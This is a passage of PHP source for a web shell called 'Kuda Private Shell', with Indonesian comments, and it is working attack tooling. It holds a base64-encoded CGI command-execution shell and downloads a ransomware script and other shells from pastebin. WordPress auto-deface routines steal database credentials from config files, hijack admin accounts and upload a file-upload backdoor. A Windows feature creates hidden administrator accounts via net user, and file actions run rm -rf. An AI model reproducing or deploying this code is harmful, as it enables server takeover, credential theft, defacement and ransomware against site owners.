I+RW50ZXIgQ29tbWFuZDwvSDI+DQo8Rk9STSBNRVRIT0Q9XCIiIiIgKyBNRVRIT0QgKyAnIiBhY3Rpb249IicgKyBzY3JpcHRuYW1lICsgIiIiXCI+DQo8aW5wdXQgbmFtZT1jbWQgdHlwZT10ZXh0PjxCUj4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+DQo8L0ZPUk0+PEJSPjxCUj4iIiINCmJvZHllbmQgPSAnPC9CT0RZPjwvSFRNTD4nDQplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5nIFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBtYWluIGJvZHkgb2YgdGhlIHNjcmlwdA0KDQppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOg0KICAgIHByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyDQogICAgcHJpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMgc28gaXMgdGhpcyBibGFuayBsaW5lDQogICAgZm9ybSA9IGNnaS5GaWVsZFN0b3JhZ2UoKQ0KICAgIGRhdGEgPSBnZXRmb3JtKFsnY21kJ10sZm9ybSkNCiAgICB0aGVjbWQgPSBkYXRhWydjbWQnXQ0KICAgIHByaW50IHRoZWZvcm1oZWFkDQogICAgcHJpbnQgdGhlZm9ybQ0KICAgIGlmIHRoZWNtZDoNCiAgICAgICAgcHJpbnQgJzxIUj48QlI+PEJSPicNCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJSPicNCiAgICAgICAgcHJpbnQgJ1Jlc3VsdCA6IDxCUj48QlI+Jw0KICAgICAgICB0cnk6DQogICAgICAgICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkNCiAgICAgICAgICAgIGNoaWxkX3N0ZGluLmNsb3NlKCkNCiAgICAgICAgICAgIHJlc3VsdCA9IGNoaWxkX3N0ZG91dC5yZWFkKCkNCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpDQogICAgICAgICAgICBwcmludCByZXN1bHQucmVwbGFjZSgnXG4nLCAnPEJSPicpDQoNCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNvbW1hbmQNCiAgICAgICAgICAgIHByaW50IGVycm9ybWVzcw0KICAgICAgICAgICAgZiA9IFN0cmluZ0lPKCkNCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpDQogICAgICAgICAgICBhID0gZi5nZXR2YWx1ZSgpLnNwbGl0bGluZXMoKQ0KICAgICAgICAgICAgZm9yIGxpbmUgaW4gYToNCiAgICAgICAgICAgICAgICBwcmludCBsaW5lDQoNCiAgICBwcmludCBib2R5ZW5kDQoNCg0KIiIiDQpUT0RPL0lTU1VFUw0KDQoNCg0KQ0hBTkdFTE9HDQoNCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wDQpBIHZlcnkgYmFzaWMgc3lzdGVtIGZvciBleGVjdXRpbmcgc2hlbGwgY29tbWFuZHMuDQpJIG1heSBleHBhbmQgaXQgaW50byBhIHByb3BlciAnZW52aXJvbm1lbnQnIHdpdGggc2Vzc2lvbiBwZXJzaXN0ZW5jZS4uLg0KIiIi";
	$cgi = fopen($file_cgi, "w");
	fwrite($cgi, base64_decode($cgi_script));
	fwrite($htcgi, $isi_htcgi);
	chmod($file_cgi, 0755);
    chmod($memeg, 0755);
	echo "<center>Done <a href='kuda_cgi/cgipy.kuda' target='_blank'><font color='lime'>Click Here</a></font>";
}
echo "</center>";
echo "</center>";
echo "</center>";
echo "</center>";
}
elseif($_GET['do'] == 'fake_root') {
    ob_start();
    $cwd = getcwd();
    $ambil_user = explode("/", $cwd);
    $user = $ambil_user[2];
    if($_POST['reverse']) {
        $site = explode("
", $_POST['url']);
        $file = $_POST['file'];
        foreach($site as $url) {
            $cek = getsource("$url/~$user/$file");
            if(preg_match("/hacked/i", $cek)) {
                echo "<center>URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font></center><br>";
            }
        }
    } else {
        echo "<center><form method='post'>
        Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
        User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
        Domain: <br>
        <textarea style='width: 450px; height: 250px;' name='url'>";
        reverse($_SERVER['HTTP_HOST']);
        echo "</textarea><br>
        <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
        </form><br>
        NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
    }
}
elseif($_GET['do'] == 'about') {
    ?>
  <tr>
    <td>
      <center>
        <h3 style='color: cyan;'>Kuda Private Shell Recoded From All Indonesian Web Shell</h3>
        <p style='color: white;'>GreetZ:</p>
        <font color="cyan">[</font>
        <marquee direction="left" scrollamount="10" style="width: 50%;">All Member From BabbyCyberTeam - IndoXploit - All Indonesian Pentester</marquee>
        <font color="cyan">]</font>
        <p>Gue gans, thanks:)</p>
      </center>
    </td>
  </tr>
<?php
}
elseif($_GET['do'] == 'contact') {
	echo "<center><h3>Contact Orang Gans</h3>
	<table><td style='background-color: transparent; text-align: center; border: 2px aqua dotted; width:300px; height:60px;'>
	<font color='cyan'>Email: [email protected]<br>Instagram: <a href='https://instagram.com/x_barakuda' target='_blank'>x_barakuda</a></font></tr></td></table></center>";
}
elseif($_GET['do'] == 'adminer') {
    $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
    function adminer($url, $isi) {
        $fp = fopen($isi, "w");
        $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
              curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
              curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
              curl_setopt($ch, CURLOPT_FILE, $fp);
        return curl_exec($ch);
              curl_close($ch);
        fclose($fp);
        ob_flush();
        flush();
    }
    if(file_exists('adminer.php')) {
        echo "<center><a href='$full/adminer.php' target='_blank'><font color='lime'>> ADMINER LOGIN <</a></font></center>";
    } else {
        if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
            echo "<center><a href='$full/adminer.php' target='_blank'><font color='lime'>> ADMINER LOGIN <</a></font></center>";
        } else {
            echo "<center><font color='red'>gagal buat file adminer</font></center>";
        }
    }
}
elseif($_GET['do'] == 'ransomware') {
    $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
    function explo($url, $isi) {
        $fp = fopen($isi, "w");
        $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
              curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
              curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
              curl_setopt($ch, CURLOPT_FILE, $fp);
        return curl_exec($ch);
              curl_close($ch);
        fclose($fp);
        ob_flush();
        flush();
    }
    if(file_exists('ransom.php')) {
        echo "<center><a href='$full/ransom.php' target='_blank'><font color='lime'>> RANSOMWARE <</a></font></center>";
    } else {
        if(explo("https://pastebin.com/raw/r9AQzCqX","ransom.php")) {
            echo "<center><a href='$full/ransom.php' target='_blank'><font color='lime'>> RANSOMWARE <</a></font></center>";
        } else {
            echo "<center><font color='red'>gagal buat file ransomware</font></center>";
        }
    }
}
elseif($_GET['do'] == 'kudascan') {
    $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
    function tod($url, $isi) {
        $fp = fopen($isi, "w");
        $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
              curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
              curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
              curl_setopt($ch, CURLOPT_FILE, $fp);
        return curl_exec($ch);
              curl_close($ch);
        fclose($fp);
        ob_flush();
        flush();
    }
    if(file_exists('kudascan.php')) {
        echo "<center><a href='$full/kudascan.php' target='_blank'><font color='lime'>> SCANNER SHELL <</a></font></center>";
    } else {
        if(tod("https://pastebin.com/raw/F0QPqWnn","kudascan.php")) {
            echo "<center><a href='$full/kudascan.php' target='_blank'><font color='lime'>> SCANNER SHELL <</a></font></center>";
        } else {
            echo "<center><font color='red'>gagal buat file scanner</font></center>";
        }
    }
}
elseif($_GET['do'] == 'wp_timthumb') {
    $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
    function kentod($url, $isi) {
        $fp = fopen($isi, "w");
        $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
              curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
              curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
              curl_setopt($ch, CURLOPT_FILE, $fp);
        return curl_exec($ch);
              curl_close($ch);
        fclose($fp);
        ob_flush();
        flush();
    }
    if(file_exists('wp-timthumb.php')) {
        echo "<center><a href='$full/wp-timthumb.php' target='_blank'><font color='lime'>> WP-TIMTHUMB <</a></font></center>";
    } else {
        if(kentod("https://pastebin.com/raw/Fn4X835C","wp-timthumb.php")) {
            echo "<center><a href='$full/wp-timthumb.php' target='_blank'><font color='lime'>> WP-TIMTHUMB <</a></font></center>";
        } else {
            echo "<center><font color='red'>gagal buat file timthumb</font></center>";
        }
    }
}
elseif($_GET['do'] == 'auto_dwp') {
    if($_POST['auto_deface_wp']) {
        function anucurl($sites) {
            $ch = curl_init($sites);
                  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
                  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
                  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                  curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
                  curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
                  curl_setopt($ch, CURLOPT_COOKIESESSION, true);
            $data = curl_exec($ch);
                  curl_close($ch);
            return $data;
        }
        function lohgin($cek, $web, $userr, $pass, $wp_submit) {
            $post = array(
                   "log" => "$userr",
                   "pwd" => "$pass",
                   "rememberme" => "forever",
                   "wp-submit" => "$wp_submit",
                   "redirect_to" => "$web",
                   "testcookie" => "1",
                   );
            $ch = curl_init($cek);
                  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
                  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                  curl_setopt($ch, CURLOPT_POST, 1);
                  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
                  curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
                  curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
                  curl_setopt($ch, CURLOPT_COOKIESESSION, true);
            $data = curl_exec($ch);
                  curl_close($ch);
            return $data;
        }
        $scan = $_POST['link_config'];
        $link_config = scandir($scan);
        $script = htmlspecialchars($_POST['script']);
        $user = "mrxbarakuda";
        $pass = "mrxbarakuda";
        $passx = md5($pass);
        foreach($link_config as $dir_config) {
            if(!is_file("$scan/$dir_config")) continue;
            $config = file_get_contents("$scan/$dir_config");
            if(preg_match("/WordPress/", $config)) {
                $dbhost = ambilkata($config,"DB_HOST', '","'");
                $dbuser = ambilkata($config,"DB_USER', '","'");
                $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
                $dbname = ambilkata($config,"DB_NAME', '","'");
                $dbprefix = ambilkata($config,"table_prefix  = '","'");
                $prefix = $dbprefix."users";
                $option = $dbprefix."options";
                $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                $db = mysql_select_db($dbname);
                $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
                $result = mysql_fetch_array($q);
                $id = $result[ID];
                $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
                $result2 = mysql_fetch_array($q2);
                $target = $result2[option_value];
                if($target == '') {
                    echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
                } else {
                    echo "[+] $target <br>";
                }
                $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
                if(!$conn OR !$db OR !$update) {
                    echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
                    mysql_close($conn);
                } else {
                    $site = "$target/wp-login.php";
                    $site2 = "$target/wp-admin/theme-install.php?upload";
                    $b1 = anucurl($site2);
                    $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"\",\"\" />");
                    $b = lohgin($site, $site2, $user, $pass, $wp_sub);
                    $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"\",\"\" />");
                    $upload3 = base64_decode("PD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQokbmV3ZmlsZTM9ImsucGhwIjsNCmlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCm1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZTNbJ3RtcF9uYW1lJ10sICIuLi8uLi8uLi8uLi8kbmV3ZmlsZTMiKTsNCj8+");
                    $www = "m.php";
                    $fp5 = fopen($www,"w");
                    fputs($fp5,$upload3);
                    $post2 = array(
                            "_wpnonce" => "$anu2",
                            "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
                            "themezip" => "@$www",
                            "install-theme-submit" => "Install Now",
                            );
                    $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
                          curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                          curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                          curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                          curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                          curl_setopt($ch, CURLOPT_POST, 1);
                          curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
                          curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
                          curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
                          curl_setopt($ch, CURLOPT_COOKIESESSION, true);
                    $data3 = curl_exec($ch);
                          curl_close($ch);
                    $y = date("Y");
                    $m = date("m");
                    $namafile = "id.php";
                    $fpi = fopen($namafile,"w");
                    fputs($fpi,$script);
                    $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
                           curl_setopt($ch6, CURLOPT_POST, true);
                           curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
                           curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
                           curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
                           curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
                           curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
                    $postResult = curl_exec($ch6);
                           curl_close($ch6);
                    $as = "$target/k.php";
                    $bs = anucurl($as);
                    if(preg_match("#$script#is", $bs)) {
                        echo "[+] <font color='lime'>berhasil mepes...</font><br>";
                        echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
                        } else {
                        echo "[-] <font color='red'>gagal mepes...</font><br>";
                        echo "[!!] coba aja manual: <br>";
                        echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
                        echo "[+] username: <font color=lime>$user</font><br>";
                        echo "[+] password: <font color=lime>$pass</font><br><br>";
                        }
                    mysql_close($conn);
                }
            }
        }
    } else {
        echo "<center><h3>WordPress Auto Deface</h3>
        <form method='post'>
        <input type='text' name='link_config' size='50' height='10' value='$dir'><br>
        <input type='text' name='script' height='10' size='50' placeholder='Visited By Mr.xBarakuda' required><br>
        <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
        </form>
        <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
        </center>";
    }
}
elseif($_GET['do'] == 'auto_dwp2') {
    if($_POST['auto_deface_wp']) {
        function anucurl($sites) {
            $ch = curl_init($sites);
                  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
                  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
                  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                  curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
                  curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
                  curl_setopt($ch, CURLOPT_COOKIESESSION,true);
            $data = curl_exec($ch);
                  curl_close($ch);
            return $data;
        }
        function lohgin($cek, $web, $userr, $pass, $wp_submit) {
            $post = array(
                   "log" => "$userr",
                   "pwd" => "$pass",
                   "rememberme" => "forever",
                   "wp-submit" => "$wp_submit",
                   "redirect_to" => "$web",
                   "testcookie" => "1",
                   );
            $ch = curl_init($cek);
                  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
                  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                  curl_setopt($ch, CURLOPT_POST, 1);
                  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
                  curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
                  curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
                  curl_setopt($ch, CURLOPT_COOKIESESSION, true);
            $data = curl_exec($ch);
                  curl_close($ch);
            return $data;
        }
        $link = explode("
", $_POST['link']);
        $script = htmlspecialchars($_POST['script']);
        $user = "mrxbarakuda";
        $pass = "mrxbarakuda";
        $passx = md5($pass);
        foreach($link as $dir_config) {
            $config = anucurl($dir_config);
            $dbhost = ambilkata($config,"DB_HOST', '","'");
            $dbuser = ambilkata($config,"DB_USER', '","'");
            $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
            $dbname = ambilkata($config,"DB_NAME', '","'");
            $dbprefix = ambilkata($config,"table_prefix  = '","'");
            $prefix = $dbprefix."users";
            $option = $dbprefix."options";
            $conn = mysql_connect($dbhost,$dbuser,$dbpass);
            $db = mysql_select_db($dbname);
            $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
            $result = mysql_fetch_array($q);
            $id = $result[ID];
            $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
            $result2 = mysql_fetch_array($q2);
            $target = $result2[option_value];
            if($target == '') {
                echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
            } else {
                echo "[+] $target <br>";
            }
            $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
            if(!$conn OR !$db OR !$update) {
                echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
                mysql_close($conn);
            } else {
                $site = "$target/wp-login.php";
                $site2 = "$target/wp-admin/theme-install.php?upload";
                $b1 = anucurl($site2);
                $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"\",\"\" />");
                $b = lohgin($site, $site2, $user, $pass, $wp_sub);
                $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"\",\"\" />");
                $upload3 = base64_decode("PD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQokbmV3ZmlsZTM9ImsucGhwIjsNCmlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCm1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZTNbJ3RtcF9uYW1lJ10sICIuLi8uLi8uLi8uLi8kbmV3ZmlsZTMiKTsNCj8+");
                $www = "m.php";
                $fp5 = fopen($www,"w");
                fputs($fp5,$upload3);
                $post2 = array(
                        "_wpnonce" => "$anu2",
                        "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
                        "themezip" => "@$www",
                        "install-theme-submit" => "Install Now",
                        );
                $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
                      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                      curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                      curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                      curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                      curl_setopt($ch, CURLOPT_POST, 1);
                      curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
                      curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
                      curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
                      curl_setopt($ch, CURLOPT_COOKIESESSION, true);
                $data3 = curl_exec($ch);
                      curl_close($ch);
                $y = date("Y");
                $m = date("m");
                $namafile = "id.php";
                $fpi = fopen($namafile,"w");
                fputs($fpi,$script);
                $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
                       curl_setopt($ch6, CURLOPT_POST, true);
                       curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
                       curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
                       curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
                       curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
                       curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
                $postResult = curl_exec($ch6);
                       curl_close($ch6);
                $as = "$target/k.php";
                $bs = anucurl($as);
                if(preg_match("#$script#is", $bs)) {
                    echo "[+] <font color='lime'>berhasil mepes...</font><br>";
                    echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
                    } else {
                    echo "[-] <font color='red'>gagal mepes...</font><br>";
                    echo "[!!] coba aja manual: <br>";
                    echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
                    echo "[+] username: <font color=lime>$user</font><br>";
                    echo "[+] password: <font color=lime>$pass</font><br><br>";
                    }
                mysql_close($conn);
            }
        }
    } else {
        echo "<center><h3>WordPress Auto Deface V.2</h3>
        <form method='post'>
        Link Config: <br>
        <textarea name='link' placeholder='http://target.com/kuda_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
        <input type='text' name='script' height='10' size='50' placeholder='Visited By Mr.xBarakuda' required><br>
        <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
        </form></center>";
    }
} elseif($_GET['do'] == 'krdp_shell') {
    if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
        if($_POST['create']) {
            $user = htmlspecialchars($_POST['user']);
            $pass = htmlspecialchars($_POST['pass']);
            if(preg_match("/$user/", exe("net user"))) {
                echo "<center>[INFO] -> <font color=red>user <font color=lime>$user</font> sudah ada</font></center>";
            } else {
                $add_user   = exe("net user $user $pass /add");
                $add_groups1 = exe("net localgroup Administrators $user /add");
                $add_groups2 = exe("net localgroup Administrator $user /add");
                $add_groups3 = exe("net localgroup Administrateur $user /add");
                echo "[ RDP ACCOUNT INFO ]<br>
                ------------------------------<br>
                IP: <font color=lime>".$ip."</font><br>
                Username: <font color=lime>$user</font><br>
                Password: <font color=lime>$pass</font><br>
                ------------------------------<br><br>
                [ STATUS ]<br>
                ------------------------------<br>
                ";
                if($add_user) {
                    echo "[add user] -> <font color='lime'>Berhasil</font><br>";
                } else {
                    echo "[add user] -> <font color='red'>Gagal</font><br>";
                }
                if($add_groups1) {
                    echo "[add localgroup Administrators] -> <font color='lime'>Berhasil</font><br>";
                } elseif($add_groups2) {
                    echo "[add localgroup Administrator] -> <font color='lime'>Berhasil</font><br>";
                } elseif($add_groups3) {
                    echo "[add localgroup Administrateur] -> <font color='lime'>Berhasil</font><br>";
                } else {
                    echo "[add localgroup] -> <font color='red'>Gagal</font><br>";
                }
                echo "------------------------------<br>";
            }
        } elseif($_POST['s_opsi']) {
            $user = htmlspecialchars($_POST['r_user']);
            if($_POST['opsi'] == '1') {
                $cek = exe("net user $user");
                echo "Checking username <font color=lime>$user</font> ....... ";
                if(preg_match("/$user/", $cek)) {
                    echo "[ <font color=lime>Sudah ada</font> ]<br>
                    ------------------------------<br><br>
                    <pre>$cek</pre>";
                } else {
                    echo "[ <font color=red>belum ada</font> ]";
                }
            } elseif($_POST['opsi'] == '2') {
                $cek = exe("net user $user mrxbarakuda");
                if(preg_match("/$user/", exe("net user"))) {
                    echo "[change password: <font color=lime>mrxbarakuda</font>] -> ";
                    if($cek) {
                        echo "<font color=lime>Berhasil</font>";
                    } else {
                        echo "<font color=red>Gagal</font>";
                    }
                } else {
                    echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
                }
            } elseif($_POST['opsi'] == '3') {
                $cek = exe("net user $user /DELETE");
                if(preg_match("/$user/", exe("net user"))) {
                    echo "[remove user: <font color=lime>$user</font>] -> ";
                    if($cek) {
                        echo "<font color=lime>Berhasil</font>";
                    } else {
                        echo "<font color=red>Gagal</font>";
                    }
                } else {
                    echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
                }
            } else {
                //
            }
        } else {
            echo "-- Create RDP --<br>
            <form method='post'>
            <input type='text' name='user' placeholder='username' value='mrxbarakuda' required>
            <input type='text' name='pass' placeholder='password' value='mrxbarakuda' required>
            <input type='submit' name='create' value='>>'>
            </form>
            -- Option --<br>
            <form method='post'>
            <input type='text' name='r_user' placeholder='username' required>
            <select name='opsi'>
            <option value='1'>Cek Username</option>
            <option value='2'>Ubah Password</option>
            <option value='3'>Hapus Username</option>
            </select>
            <input type='submit' name='s_opsi' value='>>'>
            </form>
            ";
        }
    } else {
        echo "<font color=red>Fitur ini hanya dapat digunakan dalam Windows Server.</font>";
    }
} elseif($_GET['act'] == 'newfile') {
    if($_POST['new_save_file']) {
        $newfile = htmlspecialchars($_POST['newfile']);
        $fopen = fopen($newfile, "a+");
        if($fopen) {
            $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
        } else {
            $act = "<font color=red>permission denied</font>";
        }
    }
    echo $act;
    echo "<form method='post'>
    Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
    <input type='submit' name='new_save_file' value='Submit'>
    </form>";
} elseif($_GET['act'] == 'newfolder') {
    if($_POST['new_save_folder']) {
        $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
        if(!mkdir($new_folder)) {
            $act = "<font color=red>permission denied</font>";
        } else {
            $act = "<script>window.location='?dir=".$dir."';</script>";
        }
    }
    echo $act;
    echo "<form method='post'>
    Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
    <input type='submit' name='new_save_folder' value='Submit'>
    </form>";
} elseif($_GET['act'] == 'rename_dir') {
    if($_POST['dir_rename']) {
        $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
        if($dir_rename) {
            $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
        } else {
            $act = "<font color=red>permission denied</font>";
        }
    echo "".$act."<br>";
    }
    echo "<form method='post'>
    <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
    <input type='submit' name='dir_rename' value='rename'>
    </form>";
} elseif($_GET['act'] == 'delete_dir') {
    if(is_dir($dir)) {
        if(is_writable($dir)) {
            @rmdir($dir);
            @exe("rm -rf $dir");
            @exe("rmdir /s /q $dir");
            $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
        } else {
            $act = "<font color=red>could not remove ".basename($dir)."</font>";
        }
    }
    echo $act;
} elseif($_GET['act'] == 'view') {
    echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
    echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
} elseif($_GET['act'] == 'edit') {
    if($_POST['save']) {
